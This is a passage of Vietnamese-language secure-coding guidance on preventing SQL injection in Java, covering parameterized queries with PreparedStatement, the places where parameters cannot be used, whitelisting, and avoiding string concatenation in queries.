    javaCopy codePreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
    statement.setString(1, input);
    ResultSet resultSet = statement.executeQuery();
    ```
*   **Sử dụng truy vấn có tham số khi nào:**

    * Có thể áp dụng trong các câu lệnh `WHERE`, giá trị của `INSERT` hoặc `UPDATE`.
    * Không áp dụng cho tên bảng, tên cột hoặc câu lệnh `ORDER BY`.

    Trong trường hợp này, bạn có thể:

    * **Xác thực và chỉ cho phép giá trị hợp lệ (whitelisting).**
    * **Thay đổi logic truy vấn để tránh phụ thuộc vào đầu vào người dùng.**
* **Tránh Nối Chuỗi trong Truy vấn:**\
  Chuỗi truy vấn SQL nên là hằng số cố định, không chứa bất kỳ dữ liệu động nào.
* **Xác thực Đầu vào và Whitelisting:**\
  Sử dụng whitelisting cho những phần truy vấn mà không thể dùng tham số.
* **Không Quyết Định Trường Hợp Cụ Thể:**\
  Không nên giả định rằng một số đầu vào là an toàn và nối chuỗi trực tiếp chúng vào truy vấn. Ngay cả dữ liệu tin cậy cũng có thể bị thay đổi hoặc khai thác.
